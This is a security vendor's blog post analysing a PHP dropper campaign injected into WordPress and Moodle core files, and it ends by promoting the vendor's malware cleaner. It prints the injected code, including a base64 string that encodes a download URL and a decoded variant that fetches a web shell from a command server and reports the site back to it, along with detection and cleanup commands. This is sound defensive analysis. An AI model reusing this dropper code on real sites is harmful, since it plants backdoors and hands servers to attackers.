
When people imagine an infected website, they picture a malicious file: a web shell with a strange name in uploads/. That kind exists, and it’s the easy case: delete it, done. The harder case is a legitimate file with a few lines of someone else’s code added at the top. The file is wp-includes/comment.php or Moodle’s index.php, and the site doesn’t work without it.
Delete or quarantine that file and the site goes down with a fatal error. Leave it and the attacker keeps their way in. The only good outcome is to remove exactly the lines that were added and keep the rest of the file byte for byte.
This post walks through a campaign that reached Pyxsoft Labs on November 1: 31 files from two sites, a WordPress and a Moodle, all carrying the same dropper.
The file as we received it
Sample 1601 is template-loader.php, the WordPress core file that picks which theme template to show for each page. This is how it begins, in a copy of wp-includes found renamed as wp-includes__b5996ca:
<?php ?><?php if(isset($_GET['p']) && $_GET['p']=='7719') {$remote_url = base64_decode('aHR0cHM6Ly81MWxhLnp2bzIueHl6L2EyLnR4dA==');$path = str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$_SERVER['SCRIPT_FILENAME']) );$random_dir = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz0123456789"), 0, 8);$full_dir = rtrim($path,'/') . '/' . $random_dir;if(!is_dir($full_dir)) {if(!is_writable($path)) {@chmod($path, 0777);}@mkdir($full_dir, 0777, true);}$ch = curl_init(); ... echo $protocol . $domain . '/' . $random_dir . '/index.php?520';}}}die();?><?php
/**
* Loads the correct template based on the visitor's url
*
* @package WordPress
*/
if ( wp_using_themes() ) {
One very long line, then the real file, untouched. comment.php, which WordPress loads on every request, carried exactly the same line.
What the injected line does
Spread out, the line is a small dropper:
if (isset($_GET['p']) && $_GET['p'] == '7719') {
$remote_url = base64_decode('...'); // https://51la.xxxx.xyz/a2.txt
$random_dir = substr(str_shuffle("abc...789"), 0, 8);
@chmod($path, 0777); // make the web root writable
@mkdir($full_dir, 0777, true);
// download a2.txt with curl, save it as <random_dir>/index.php
echo $protocol . $domain . '/' . $random_dir . '/index.php?520';
}
die();
Visiting any page with ?p=7719 downloads a fresh web shell into a new folder with a random eight-character name, and prints its URL so the attacker’s script can record it. If one shell gets deleted, the next request plants another, in a different folder, under a different name.
Then there is the die();. It sits outside the if, so it runs on every request, from everybody. With this line at the top of comment.php, WordPress stops before it gets anywhere: every page of the site, the admin included, comes out blank. The injection had killed the site it was supposed to live on.
That makes the cleanup decision obvious, and it’s the case where most tools get it wrong. Quarantining comment.php replaces a blank site with a fatal error: WordPress requires that file, and it’s gone. The only fix that brings the site back is to remove the line, die() included, and leave everything after it.
The Moodle site: one injection per visit
The other 27 files came from a Moodle site: the index.php of 24 of its folders (login/, course/, user/, calendar/, grade/, the root…) and of three folders with numeric names that Moodle doesn’t have. Here the injection is wrapped in a classic obfuscator, one line per copy:
<?php
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}...
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}...
...
// This file is part of Moodle - http://moodle.org/
tag/index.php (sample 1571) starts with ten of those lines, about 7 KB each, on top of a 4.5 KB Moodle file: 76,144 bytes in total, 94% of it injected. Across those files, most carry 9 or 10 copies, and one carries 19. Each copy is a full injection, added on top of the previous ones.
Decoded with our PHP deobfuscator, one line reads:
$O_0_O_OO00['path'] = str_replace(..., $_SERVER['SCRIPT_FILENAME']);
$O_0_O_OO00['domain'] = $GLOBALS['OO0O0__O0_']();
$O_0_O_OO00['shell_link'] = 'https://jardin*****.cl/8700fbf6/about.php?520';
if (isset($_GET['del']) && $_GET['del'] == "my_code") {
// remove itself from index.php
}
$O0O_0_O0_O = $O_0_O_OO00['path'] . '/admin.php';
$OO0O0O0___ = @$GLOBALS['OOO_O00_0_']('https://51la.xxx.xyz/f.txt');
$OO0O0O0___ = @file_put_contents($O0O_0_O0_O, $OO0O0O0___);
...
$OO_0O00O__ = sprintf('https://51la.xxxx.xyz/?d=%s', base64_encode(serialize($O_0_O_OO00)));
$O__OO0O00_ = $GLOBALS['OOO_O00_0_']($OO_0O00O__);
if ($O__OO0O00_ == "done") {
// remove itself from index.php
}
This variant doesn’t wait for a password in the URL. On every visit it downloads a web shell to admin.php in the site’s root, reports the site’s address and the shell’s URL to the command server, and removes itself from index.php once the server answers done. It’s built to leave as little behind as possible. The stacked copies suggest the cleanup step didn’t always get its answer, or that the site kept getting re-injected faster than the dropper removed itself.
shell_link points to a shell on a third, unrelated site, which is how these campaigns keep an inventory of the servers they control.
Not every file is a victim
One of the 31 files is different: wp-includes/index.php (sample 1597), which contains the injection and nothing else. WordPress has no index.php in wp-includes. The attacker created that file, so deleting or quarantining it is correct, and nothing breaks.
That’s the first question for each detection: is this a file the site needs, or one the attacker added? For WordPress, WP-CLI answers it for the core in seconds:
cd /home/user/public_html
wp core verify-checksums
It lists core files that don’t match the official release, and files that shouldn’t exist at all. For Moodle, Joomla or anything else, compare with a clean copy of the same version (diff -rq clean/ public_html/).
Option 1: replace the core files
For WordPress core, the cleanest fix is to replace it with an official copy of the same version, without touching wp-content or wp-config.php:
wp core download --version=$(wp core version) --skip-content --force
That fixes wp-admin and wp-includes. It doesn’t fix injections in themes, plugins, wp-config.php or the root index.php, and it doesn’t help with applications that have no such tool, like a Moodle site with the injection in 27 index.php files across its folders.
Option 2: remove only the injected code
Removing the injection by hand looks easy in the examples above: the injected code sits at the top. In practice there are four problems:
- The boundary isn’t always a line. In the WordPress files, the injection and the real file are separated by
?><?phpin the middle of the first line. Deleting “the first line” leaves?><?phpdangling, or takes/**with it. - The copies aren’t identical. The ten lines in the Moodle file carry different command servers, so a regular expression written for one misses the next.
- Sometimes the injection is in the middle. Other families inject into a function body, define a helper at the end of the file and call it from the start, or register a callback by name.
- A removal that leaves broken PHP takes the site down too, and does it on every page.
So Anti Malware doesn’t clean with text patterns. It parses the file into PHP statements, takes the statements that match the detection, together with anything only they use, and removes those whole. Then it checks that the result still parses and scans the result again. If something is still detected, it removes that too, and repeats until the file is clean. If the remaining code still depends on what was removed, it doesn’t clean the file and sends it to quarantine instead, since the cut can’t be made safely.
On these samples:
| File | Before | After | Injections removed |
|---|---|---|---|
Moodle tag/index.php (1571) |
76,144 bytes | 4,576 bytes | 10 |
WordPress comment.php (1595) |
127,184 bytes | 126,140 bytes | 1, including the die() |
WordPress template-loader.php (1601) |
4,064 bytes | 3,020 bytes | 1, including the die() |
wp-includes/index.php (1597) |
7,156 bytes | — | the whole file is injected: quarantine |
In every cleaned file, everything after the injection is identical to the original, byte for byte, and php -l finds no syntax errors. The cleaned template-loader.php begins:
<?php ?><?php
/**
* Loads the correct template based on the visitor's url
*
* @package WordPress
*/
Anti Malware keeps the original of every file it cleans, encrypted like the quarantine, and the panel shows the exact code it removed. If a clean ever removes too much, Undo puts the original back.
Cleaning the file isn’t cleaning the site
A dropper’s job is to plant other files, so removing the injection only closes the door it used. After any cleanup like this one:
-
Look for what it planted. Here, that means eight-character random folders with an
index.phpinside, and anadmin.phpin the web root that isn’t yours:find /home/*/public_html -maxdepth 2 -type d -regextype egrep -regex '.*/[a-z0-9]{8}' -mtime -60 -ls 2>/dev/null find /home/*/public_html -maxdepth 1 -name admin.php -ls -
Check permissions. The dropper sets the web root to
0777when it can’t write to it. Put it back to0750(cPanel) or0755. -
Find how it got in. Thirty injected files across two applications don’t come from one bad plugin download. Someone had write access to the account. Why sites get reinfected after cleaning covers what to look for.
Anti Malware cleans injections on its own when Auto Clean is on, in real time and in scheduled scans, and quarantines what is entirely malware. You can try it free for 7 days on cPanel, DirectAdmin or a server with no panel.